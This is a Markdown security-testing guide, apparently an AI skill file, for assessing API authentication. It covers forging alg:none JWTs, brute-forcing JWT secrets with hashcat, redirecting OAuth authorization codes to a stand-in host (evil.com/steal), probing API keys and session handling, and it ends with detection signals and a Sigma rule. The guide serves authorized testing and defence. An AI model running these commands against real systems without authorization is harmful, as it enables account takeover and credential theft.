<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: analyzing-api-authentication-flaws
description: >-
  Analyze API authentication mechanisms for weaknesses including JWT attacks,
  OAuth2 misconfiguration, API key exposure, broken session management, and
  credential stuffing via authentication endpoints.
domain: cybersecurity
subdomain: api-security
tags:
  - authentication
  - jwt
  - oauth2
  - api-keys
  - owasp-api2
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1078", "T1110", "T1552"]
  owasp-api: ["API2"]
  tools: ["curl", "jwt-tool", "burp-suite", "nuclei", "hashcat"]
---

# Analyzing API Authentication Flaws

## Overview

Broken authentication (OWASP API2) encompasses weak token generation, JWT
algorithm confusion, missing token validation, OAuth2 flow abuse, and API
key leakage. These flaws enable account takeover, privilege escalation,
and unauthorized access.

## Prerequisites

- Tools: ["curl", "jwt-tool", "burp-suite", "nuclei", "hashcat"]
- Test account credentials for authenticated testing
- Authorized testing engagement with written scope

## Key Concepts

- **JWT algorithm confusion**: Switching RS256→HS256 or using `alg:none`
- **Token lifetime**: Tokens that never expire or have excessive lifetimes
- **OAuth2 misconfig**: Open redirects, missing state parameter, PKCE bypass
- **API key leakage**: Keys in URLs, client-side code, or version control

## Workflow

### Step 1: JWT Analysis

```bash
# Decode JWT header and payload
echo "$JWT" | cut -d'.' -f1 | base64 -d 2>/dev/null | jq .
echo "$JWT" | cut -d'.' -f2 | base64 -d 2>/dev/null | jq .

# Check for weak signing — algorithm none
python3 -c "
import base64, json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=')
payload = base64.urlsafe_b64encode(json.dumps({'sub':'admin','role':'admin'}).encode()).rstrip(b'=')
print(f'{header.decode()}.{payload.decode()}.')
"

# jwt_tool comprehensive scan
python3 jwt_tool.py "$JWT" -M at -t https://target.com/api/me \
  -rh "Authorization: Bearer"

# Brute-force HMAC secret
hashcat -m 16500 jwt.txt rockyou.txt --force

# Test expired token acceptance
curl -s -H "Authorization: Bearer $EXPIRED_TOKEN" \
  https://target.com/api/me
```

### Step 2: OAuth2 Flow Analysis

```bash
# Test missing state parameter (CSRF in OAuth)
curl -v "https://target.com/oauth/authorize?client_id=CLIENT&redirect_uri=https://target.com/callback&response_type=code&scope=read"

# Test open redirect in redirect_uri
curl -v "https://target.com/oauth/authorize?client_id=CLIENT&redirect_uri=https://evil.com/steal&response_type=code"

# Test redirect_uri bypass with subdirectory
curl -v "https://target.com/oauth/authorize?client_id=CLIENT&redirect_uri=https://target.com/callback/../../../evil&response_type=code"

# Test token in URL fragment (implicit flow leakage)
# Check if access_token appears in browser history / referrer headers
```

### Step 3: API Key Security

```bash
# Check if API key works without additional auth
curl -s "https://target.com/api/data?api_key=KEY"

# Test key in different positions
curl -s -H "X-API-Key: KEY" https://target.com/api/data
curl -s -H "Authorization: ApiKey KEY" https://target.com/api/data

# Search for exposed keys in client-side code
curl -s https://target.com | grep -oE '[a-zA-Z0-9_-]{20,}' | sort -u

# Test key scope — does user key access admin endpoints?
curl -s -H "X-API-Key: USER_KEY" https://target.com/api/admin/users
```

### Step 4: Session and Token Management

```bash
# Test token reuse after logout
curl -s -X POST https://target.com/api/logout \
  -H "Authorization: Bearer $TOKEN"
curl -s -H "Authorization: Bearer $TOKEN" https://target.com/api/me

# Test concurrent sessions
# Login from two sessions — does first token get invalidated?

# Test token entropy
python3 -c "
import math
tokens = ['token1', 'token2', 'token3']  # Replace with captured tokens
for t in tokens:
    entropy = len(t) * math.log2(62)  # alphanumeric charset
    print(f'{t[:20]}... entropy: {entropy:.0f} bits')
"

# Test missing authentication on endpoints
ENDPOINTS=("/api/users" "/api/config" "/api/health" "/api/metrics" "/api/debug")
for EP in "\${ENDPOINTS[@]}"; do
  curl -s -o /dev/null -w "$EP: %{http_code}\n" "https://target.com$EP"
done
```

### Step 5: Automated Authentication Scanning

```bash
# Nuclei authentication templates
nuclei -u https://target.com -t http/vulnerabilities/ -tags auth \
  -severity critical,high

nuclei -u https://target.com -t http/exposures/tokens/ -severity high,critical

# OWASP ZAP authentication scan
zap-cli quick-scan -s all -r https://target.com/api
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| Algorithm none JWT | WAF | JWT with alg:none in header |
| Expired token usage | Auth service | Requests with expired tokens |
| OAuth state missing | Auth logs | Authorization requests without state |
| Brute-force attempts | Auth logs | Multiple failed auth per account |

```yaml
title: JWT Algorithm None Attack Attempt
id: e5f6a7b8-c9d0-1234-ef01-567890123456
status: experimental
description: Detects JWT tokens using algorithm none for authentication bypass
logsource:
  category: application
detection:
  selection:
    authorization|base64offset|contains: '"alg":"none"'
  condition: selection
falsepositives:
  - Development environments using unsigned tokens
level: critical
tags:
  - attack.t1078
  - attack.initial_access
```

## Verification

- [ ] JWT algorithm and signing validated
- [ ] Token expiry and revocation tested
- [ ] OAuth2 flow security assessed
- [ ] API key exposure and scope tested
- [ ] Unauthenticated endpoint access tested
- [ ] Detection artifacts identified

## References

- [OWASP API2:2023 — Broken Authentication](https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/)
- [jwt_tool](https://github.com/ticarpi/jwt_tool)
- [MITRE ATT&CK T1078](https://attack.mitre.org/techniques/T1078/)
